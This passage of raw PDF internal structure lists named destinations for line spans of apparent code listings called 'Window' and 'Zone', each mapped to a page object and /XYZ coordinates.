570.018342 0 ] (Code/Window/:__span-0-553) [ 1725 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-554) [ 1725 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-555) [ 1725 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-556) [ 1725 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-557) [ 1725 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-558) [ 1725 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-559) [ 1725 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-56) [ 1703 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-560) [ 1725 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-561) [ 1725 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-562) [ 1725 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-563) [ 1725 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-564) [ 1725 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-565) [ 1725 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-566) [ 1725 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-567) [ 1725 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-568) [ 1725 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-569) [ 1725 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-57) [ 1703 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-570) [ 1725 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-571) [ 1725 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-572) [ 1725 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-573) [ 1725 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-574) [ 1725 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-575) [ 1725 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-576) [ 1725 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-577) [ 1725 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-578) [ 1725 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-579) [ 1725 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-58) [ 1703 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-580) [ 1725 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-581) [ 1725 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-582) [ 1725 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-583) [ 1725 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-584) [ 1725 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-585) [ 1725 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-586) [ 1727 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-587) [ 1727 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-588) [ 1727 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-589) [ 1727 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-59) [ 1703 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-590) [ 1727 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-591) [ 1727 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-592) [ 1727 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-593) [ 1727 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-594) [ 1727 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-595) [ 1727 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-596) [ 1727 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-597) [ 1727 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-598) [ 1727 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-599) [ 1727 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-6) [ 1701 0 R /XYZ 60.307257 640.633662 0 ] (Code/Window/:__span-0-60) [ 1703 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-600) [ 1727 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-601) [ 1727 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-602) [ 1727 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-603) [ 1727 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-604) [ 1727 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-605) [ 1727 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-606) [ 1727 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-607) [ 1727 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-608) [ 1727 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-609) [ 1727 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-61) [ 1703 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-610) [ 1727 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-611) [ 1727 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-612) [ 1727 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-613) [ 1727 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-614) [ 1727 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-615) [ 1727 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-616) [ 1727 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-617) [ 1727 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-618) [ 1727 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-619) [ 1727 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-62) [ 1703 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-620) [ 1727 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-621) [ 1727 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-622) [ 1727 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-623) [ 1727 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-624) [ 1727 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-625) [ 1727 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-626) [ 1727 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-627) [ 1727 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-628) [ 1727 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-629) [ 1727 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-63) [ 1703 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-630) [ 1727 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-631) [ 1727 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-632) [ 1729 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-633) [ 1729 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-634) [ 1729 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-635) [ 1729 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-636) [ 1729 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-637) [ 1729 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-638) [ 1729 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-639) [ 1729 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-64) [ 1703 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-640) [ 1729 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-641) [ 1729 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-642) [ 1729 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-643) [ 1729 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-644) [ 1729 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-645) [ 1729 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-646) [ 1729 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-647) [ 1729 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-648) [ 1729 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-649) [ 1729 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-65) [ 1703 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-650) [ 1729 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-651) [ 1729 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-652) [ 1729 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-653) [ 1729 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-654) [ 1729 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-655) [ 1729 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-656) [ 1729 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-657) [ 1729 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-658) [ 1729 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-659) [ 1729 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-66) [ 1703 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-660) [ 1729 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-661) [ 1729 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-662) [ 1729 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-663) [ 1729 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-664) [ 1729 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-665) [ 1729 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-666) [ 1729 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-667) [ 1729 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-668) [ 1729 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-669) [ 1729 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-67) [ 1703 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-670) [ 1729 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-671) [ 1729 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-672) [ 1729 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-673) [ 1729 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-674) [ 1729 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-675) [ 1729 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-676) [ 1729 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-68) [ 1703 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-69) [ 1703 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-7) [ 1701 0 R /XYZ 60.307257 627.233310 0 ] (Code/Window/:__span-0-70) [ 1703 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-71) [ 1703 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-72) [ 1703 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-73) [ 1703 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-74) [ 1703 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-75) [ 1703 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-76) [ 1703 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-77) [ 1703 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-78) [ 1703 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-79) [ 1703 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-8) [ 1701 0 R /XYZ 60.307257 613.832958 0 ] (Code/Window/:__span-0-80) [ 1703 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-81) [ 1703 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-82) [ 1703 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-83) [ 1703 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-84) [ 1703 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-85) [ 1703 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-86) [ 1703 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-87) [ 1703 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-88) [ 1703 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-89) [ 1703 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-9) [ 1701 0 R /XYZ 60.307257 600.432606 0 ] (Code/Window/:__span-0-90) [ 1703 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-91) [ 1703 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-92) [ 1703 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-93) [ 1703 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-94) [ 1705 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-95) [ 1705 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-96) [ 1705 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-97) [ 1705 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-98) [ 1705 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-99) [ 1705 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:windowcs) [ 1701 0 R /XYZ 39.386457 747.563622 0 ] (Code/Zone/:) [ 1587 0 R /XYZ 39.386457 747.563622 0 ] (Code/Zone/:__span-0-1) [ 1587 0 R /XYZ 60.307257 707.635422 0 ] (Code/Zone/:__span-0-10) [ 1587 0 R /XYZ 60.307257 573.631902 0 ] (Code/Zone/:__span-0-100) [ 1591 0 R /XYZ 60.307257 623.619750 0 ] (Code/Zone/:__span-0-101) [ 1591 0 R /XYZ 60.307257 610.219398 0 ] (Code/Zone/:__span-0-102) [ 1591 0 R /XYZ 60.307257 583.418694 0 ] (Code/Zone/:__span-0-103) [ 1591 0 R /XYZ 60.307257 570.018342 0 ] (Code/Zone/:__span-0-104) [ 1591 0 R /XYZ 60.307257 556.617990 0 ] (Code/Zone/:__span-0-105) [ 1591 0 R /XYZ 60.307257 543.217638 0 ] (Code/Zone/:__span-0-106) [ 1591 0 R /XYZ 60.307257 516.416934 0 ] (Code/Zone/:__span-0-107) [ 1591 0 R /XYZ 60.307257 503.016582 0 ] (Code/Zone/:__span-0-108) [ 1591 0 R /XYZ 60.307257 489.616230 0 ] (Code/Zone/:__span-0-109) [ 1591 0 R /XYZ 60.307257 476.215878 0 ] (Code/Zone/:__span-0-11) [ 1587 0 R /XYZ 60.307257 560.231550 0 ] (Code/Zone/:__span-0-110) [ 1591 0 R /XYZ 60.307257 462.815526 0 ] (Code/Zone/:__span-0-111) [ 1591 0 R /XYZ 60.307257 449.415174 0 ] (Code/Zone/:__span-0-112) [ 1591 0 R /XYZ 60.307257 436.014822 0 ] (Code/Zone/:__span-0-113) [ 1591 0 R /XYZ 60.307257 422.614470 0 ] (Code/Zone/:__span-0-114) [ 1591 0 R /XYZ 60.307257 409.214118 0 ] (Code/Zone/:__span-0-115) [ 1591 0 R /XYZ 60.307257 395.813766 0 ] (Code/Zone/:__span-0-116) [ 1591 0 R /XYZ 60.307257 382.413414 0 ] (Code/Zone/:__span-0-117) [ 1591 0 R /XYZ 60.307257 369.013062 0 ] (Code/Zone/:__span-0-118) [ 1591 0 R /XYZ 60.307257 355.612710 0 ] (Code/Zone/:__span-0-119) [ 1591 0 R /XYZ 60.307257 342.212358 0 ] (Code/Zone/:__span-0-12) [ 1587 0 R /XYZ 60.307257 546.831198 0 ] (Code/Zone/:__span-0-120) [ 1591 0 R /XYZ 60.307257 328.812006 0 ] (Code/Zone/:__span-0-121) [ 1591 0 R /XYZ 60.307257 315.411654 0 ] (Code/Zone/:__span-0-122) [ 1591 0 R /XYZ 60.307257 302.011302 0 ] (Code/Zone/:__span-0-123) [ 1591 0 R /XYZ 60.307257 288.610950 0 ] (Code/Zone/:__span-0-124) [ 1591 0 R /XYZ 60.307257 275.210598 0 ] (Code/Zone/:__span-0-125) [ 1591 0 R /XYZ 60.307257 261.810246 0 ] (Code/Zone/:__span-0-126) [ 1591 0 R /XYZ 60.307257 248.409894 0 ] (Code/Zone/:__span-0-127) [ 1591 0 R /XYZ 60.307257 235.009542 0 ] (Code/Zone/:__span-0-128) [ 1591 0 R /XYZ 60.307257 221.609190 0 ] (Code/Zone/:__span-0-129) [ 1591 0 R /XYZ 60.307257 208.208838 0 ] (Code/Zone/:__span-0-13) [ 1587 0 R /XYZ 60.307257 533.430846 0 ] (Code/Zone/:__span-0-130) [ 1591 0 R /XYZ 60.307257 194.808486 0 ] (Code/Zone/:__span-0-131) [ 1591 0 R /XYZ 60.307257 181.408134 0 ] (Code/Zone/:__span-0-132) [ 1591 0 R /XYZ 60.307257 168.007782 0 ] (Code/Zone/:__span-0-133) [ 1591 0 R /XYZ 60.307257 154.607430 0 ] (Code/Zone/:__span-0-134) [ 1591 0 R /XYZ 60.307257 141.207078 0 ] (Code/Zone/:__span-0-135) [ 1591 0 R /XYZ 60.307257 127.806726 0 ] (Code/Zone/:__span-0-136) [ 1591 0 R /XYZ 60.307257 114.406374 0 ] (Code/Zone/:__span-0-137) [ 1591 0 R /XYZ 60.307257 101.006022 0 ] (Code/Zone/:__span-0-138) [ 1591 0 R /XYZ 60.307257 87.605670 0 ] (Code/Zone/:__span-0-139) [ 1593 0 R /XYZ 60.307257 771.023622 0 ] (Code/Zone/:__span-0-14) [ 1587 0 R /XYZ 60.307257 520.030494 0 ] (Code/Zone/:__span-0-140) [ 1593 0 R /XYZ 60.307257 757.623270 0 ] (Code/Zone/:__span-0-141) [ 1593 0 R /XYZ 60.307257 744.222918 0 ] (Code/Zone/:__span-0-142) [ 1593 0 R /XYZ 60.307257 730.822566 0 ] (Code/Zone/:__span-0-143) [ 1593 0 R /XYZ 60.307257 717.422214 0 ] (Code/Zone/:__span-0-144) [ 1593 0 R /XYZ 60.307257 690.621510 0 ] (Code/Zone/:__span-0-145) [ 1593 0 R /XYZ 60.307257 677.221158 0 ] (Code/Zone/:__span-0-146) [ 1593 0 R /XYZ 60.307257 663.820806 0 ] (Code/Zone/:__span-0-147) [ 1593 0 R /XYZ 60.307257 650.420454 0 ] (Code/Zone/:__span-0-148) [ 1593 0 R /XYZ 60.307257 623.619750 0 ] (Code/Zone/:__span-0-149) [ 1593 0 R /XYZ 60.307257 596.819046 0 ] (Code/Zone/:__span-0-15) [ 1587 0 R /XYZ 60.307257 506.630142 0 ] (Code/Zone/:__span-0-150) [ 1593 0 R /XYZ 60.307257 583.418694 0 ] (Code/Zone/:__span-0-151) [ 1593 0 R /XYZ 60.307257 570.018342 0 ] (Code/Zone/:__span-0-152) [ 1593 0 R /XYZ 60.307257 556.617990 0 ] (Code/Zone/:__span-0-153) [ 1593 0 R /XYZ 60.307257 529.817286 0 ] (Code/Zone/:__span-0-154) [ 1593 0 R /XYZ 60.307257 516.416934 0 ] (Code/Zone/:__span-0-155) [ 1593 0 R /XYZ 60.307257 503.016582 0 ] (Code/Zone/:__span-0-156) [ 1593 0 R /XYZ 60.307257 489.616230 0 ] (Code/Zone/:__span-0-157) [ 1593 0 R /XYZ 60.307257 476.215878 0 ] (Code/Zone/:__span-0-158) [ 1593 0 R /XYZ 60.307257 462.815526 0 ] (Code/Zone/:__span-0-159) [ 1593 0 R /XYZ 60.307257 449.415174 0 ] (Code/Zone/:__span-0-16) [ 1587 0 R /XYZ 60.307257 493.229790 0 ] (Code/Zone/:__span-0-160) [ 1593 0 R /XYZ 60.307257 436.014822 0 ] (Code/Zone/:__span-0-161) [ 1593 0 R /XYZ 60.307257 422.614470 0 ] (Code/Zone/:__span-0-162) [ 1593 0 R /XYZ 60.307257 409.214118 0 ] (Code/Zone/:__span-0-163) [ 1593 0 R /XYZ 60.307257 395.813766 0 ] (Code/Zone/:__span-0-164) [ 1593 0 R /XYZ 60.307257 382.413414 0 ] (Code/Zone/:__span-0-165) [ 1593 0 R /XYZ 60.307257 369.013062 0 ] (Code/Zone/:__span-0-166) [ 1593 0 R /XYZ 60.307257 355.612710 0 ] (Code/Zone/:__span-0-167) [ 1593 0 R /XYZ 60.307257 342.212358 0 ] (Code/Zone/:__span-0-168) [ 1593 0 R /XYZ 60.307257 328.812006 0 ] (Code/Zone/:__span-0-169) [ 1593 0 R /XYZ 60.307257 315.411654 0 ] (Code/Zone/:__span-0-17) [ 1587 0 R /XYZ 60.307257 479.829438 0 ] (Code/Zone/:__span-0-170) [ 1593 0 R /XYZ 60.307257 302.011302 0 ] (Code/Zone/:__span-0-171) [ 1593 0 R /XYZ 60.307257 288.610950 0 ] (Code/Zone/:__span-0-172) [ 1593 0 R /XYZ 60.307257 261.810246 0 ] (Code/Zone/:__span-0-173) [ 1593 0 R /XYZ 60.307257 248.409894 0 ] (Code/Zone/:__span-0-174) [ 1593 0 R /XYZ 60.307257 235.009542 0 ] (Code/Zone/:__span-0-175) [ 1593 0 R /XYZ 60.307257 221.609190 0 ] (Code/Zone/:__span-0-176) [ 1593 0 R /XYZ 60.307257 181.408134 0 ] (Code/Zone/:__span-0-177) [ 1593 0 R /XYZ 60.307257 168.007782 0 ] (Code/Zone/:__span-0-178) [ 1593 0 R /XYZ 60.307257 154.607430 0 ] (Code/Zone/:__span-0-179) [ 1593 0 R /XYZ 60.307257 141.207078 0 ] (Code/Zone/:__span-0-18) [ 1587 0 R /XYZ 60.307257 466.429086 0 ] (Code/Zone/:__span-0-180) [ 1593 0 R /XYZ 60.307257 127.806726 0 ] (Code/Zone/:__span-0-181) [ 1593 0 R /XYZ 60.307257 114.406374 0 ] (Code/Zone/:__span-0-182) [ 1593 0 R /XYZ 60.307257 101.006022 0 ] (Code/Zone/:__span-0-183) [ 1593 0 R /XYZ 60.307257 87.605670 0 ] (Code/Zone/:__span-0-184) [ 1595 0 R /XYZ 60.307257 771.023622 0 ] (Code/Zone/:__span-0-185) [ 1595 0 R /XYZ 60.307257 757.623270 0 ] (Code/Zone/:__span-0-19) [ 1587 0 R /XYZ 60.307257 453.028734 0 ] (Code/Zone/:__span-0-2) [ 1587 0 R /XYZ 60.307257 694.235070 0 ] (Code/Zone/:__span-0-20) [ 1587 0 R /XYZ 60.307257 439.628382 0 ] (Code/Zone/:__span-0-21) [ 1587 0 R /XYZ 60.307257 426.228030 0 ] (Code/Zone/:__span-0-22) [ 1587 0 R /XYZ 60.307257 412.827678 0 ] (Code/Zone/:__span-0-23) [ 1587 0 R /XYZ 60.307257 399.427326 0 ] (Code/Zone/:__span-0-24) [ 1587 0 R /XYZ 60.307257 386.026974 0 ] (Code/Zone/:__span-0-25) [ 1587 0 R /XYZ 60.307257 372.626622 0 ] (Code/Zone/:__span-0-26) [ 1587 0 R /XYZ 60.307257 359.226270 0 ] (Code/Zone/:__span-0-27) [ 1587 0 R /XYZ 60.307257 345.825918 0 ] (Code/Zone/:__span-0-28) [ 1587 0 R /XYZ 60.307257 332.425566 0 ] (Code/Zone/:__span-0-29) [ 1587 0 R /XYZ 60.307257 319.025214 0 ] (Code/Zone/:__span-0-3) [ 1587 0 R /XYZ 60.307257 680.834718 0 ] (Code/Zone/:__span-0-30) [ 1587 0 R /XYZ 60.307257 305.624862 0 ] (Code/Zone/:__span-0-31) [ 1587 0 R /XYZ 60.307257 292.224510 0 ] (Code/Zone/:__span-0-32) [ 1587 0 R /XYZ 60.307257 265.423806 0 ] (Code/Zone/:__span-0-33) [ 1587 0 R /XYZ 60.307257 252.023454 0 ] (Code/Zone/:__span-0-34) [ 1587 0 R /XYZ 60.307257 238.623102 0 ] (Code/Zone/:__span-0-35) [ 1587 0 R /XYZ 60.307257 225.222750 0 ] (Code/Zone/:__span-0-36) [ 1587 0 R /XYZ 60.307257 211.822398 0 ] (Code/Zone/:__span-0-37) [ 1587 0 R /XYZ 60.307257 198.422046 0 ] (Code/Zone/:__span-0-38) [ 1587 0 R /XYZ 60.307257 185.021694 0 ] (Code/Zone/:__span-0-39) [ 1587 0 R /XYZ 60.307257 171.621342 0 ] (Code/Zone/:__span-0-4) [ 1587 0 R /XYZ 60.307257 667.434366 0 ] (Code/Zone/:__span-0-40) [ 1587 0 R /XYZ 60.307257 158.220990 0 ] (Code/Zone/:__span-0-41) [ 1587 0 R /XYZ 60.307257 131.420286 0 ] (Code/Zone/:__span-0-42) [ 1587 0 R /XYZ 60.307257 118.019934 0 ] (Code/Zone/:__span-0-43) [ 1587 0 R /XYZ 60.307257 104.619582 0 ] (Code/Zone/:__span-0-44) [ 1587 0 R /XYZ 60.307257 91.219230 0 ] (Code/Zone/:__span-0-45) [ 1589 0 R /XYZ 60.307257 771.023622 0 ] (Code/Zone/:__span-0-46) [ 1589 0 R /XYZ 60.307257 757.623270 0 ] (Code/Zone/:__span-0-47) [ 1589 0 R /XYZ 60.307257 744.222918 0 ] (Code/Zone/:__span-0-48) [ 1589 0 R /XYZ 60.307257 730.822566 0 ] (Code/Zone/:__span-0-49) [ 1589 0 R /XYZ 60.307257 717.422214 0 ] (Code/Zone/:__span-0-5) [ 1587 0 R /XYZ 60.307257 640.633662 0 ] (Code/Zone/:__span-0-50) [ 1589 0 R /XYZ 60.307257 704.021862 0 ] (Code/Zone/:__span-0-51) [ 1589 0 R /XYZ 60.307257 690.621510 0 ] (Code/Zone/:__span-0-52) [ 1589 0 R /XYZ 60.307257 677.221158 0 ] (Code/Zone/:__span-0-53) [ 1589 0 R /XYZ 60.307257 650.420454 0 ] (Code/Zone/:__span-0-54) [ 1589 0 R /XYZ 60.307257 637.020102 0 ] (Code/Zone/:__span-0-55) [ 1589 0 R /XYZ 60.307257 610.219398 0 ] (Code/Zone/:__span-0-56) [ 1589 0 R /XYZ 60.307257 596.819046 0 ] (Code/Zone/:__span-0-57) [ 1589 0 R /XYZ 60.307257 583.418694 0 ] (Code/Zone/:__span-0-58) [ 1589 0 R /XYZ 60.307257 570.018342 0 ] (Code/Zone/:__span-0-59) [ 1589 0 R /XYZ 60.307257 556.617990 0 ] (Code/Zone/:__span-0-6) [ 1587 0 R /XYZ 60.307257 627.233310 0 ] (Code/Zone/:__span-0-60) [ 1589 0 R /XYZ 60.307257 543.217638 0 ] (Code/Zone/:__span-0-61) [ 1589 0 R /XYZ 60.307257 529.817286 0 ] (Code/Zone/:__span-0-62) [ 1589 0 R /XYZ 60.307257 503.016582 0 ] (Code/Zone/:__span-0-63) [ 1589 0 R /XYZ 60.307257 489.616230 0 ] (Code/Zone/:__span-0-64) [ 1589 0 R /XYZ 60.307257 476.215878 0 ] (Code/Zone/:__span-0-65) [ 1589 0 R /XYZ 60.307257 462.815526 0 ] (Code/Zone/:__span-0-66) [ 1589 0 R /XYZ 60.307257 449.415174 0 ] (Code/Zone/:__span-0-67) [ 1589 0 R /XYZ 60.307257 436.014822 0 ] (Code/Zone/:__span-0-68) [ 1589 0 R /XYZ 60.307257 422.614470 0 ] (Code/Zone/:__span-0-69) [ 1589 0 R /XYZ 60.307257 395.813766 0 ] (Code/Zone/:__span-0-7) [ 1587 0 R /XYZ 60.307257 613.832958 0 ] (Code/Zone/:__span-0-70) [ 1589 0 R /XYZ 60.307257 382.413414 0 ] (Code/Zone/:__span-0-71) [ 1589 0 R /XYZ 60.307257 369.013062 0 ] (Code/Zone/:__span-0-72) [ 1589 0 R /XYZ 60.307257 355.612710 0 ] (Code/Zone/:__span-0-73) [ 1589 0 R /XYZ 60.307257 342.212358 0 ] (Code/Zone/:__span-0-74) [ 1589 0 R /XYZ 60.307257 328.812006 0 ] (Code/Zone/:__span-0-75) [ 1589 0 R /XYZ 60.307257 315.411654 0 ] (Code/Zone/:__span-0-76) [ 1589 0 R /XYZ 60.307257 302.011302 0 ] (Code/Zone/:__span-0-77) [ 1589 0 R /XYZ 60.307257 288.610950 0 ] (Code/Zone/:__span-0-78) [ 1589 0 R /XYZ 60.307257 275.210598 0 ] (Code/Zone/:__span-0-79) [ 1589 0 R /XYZ 60.307257 261.810246 0 ] 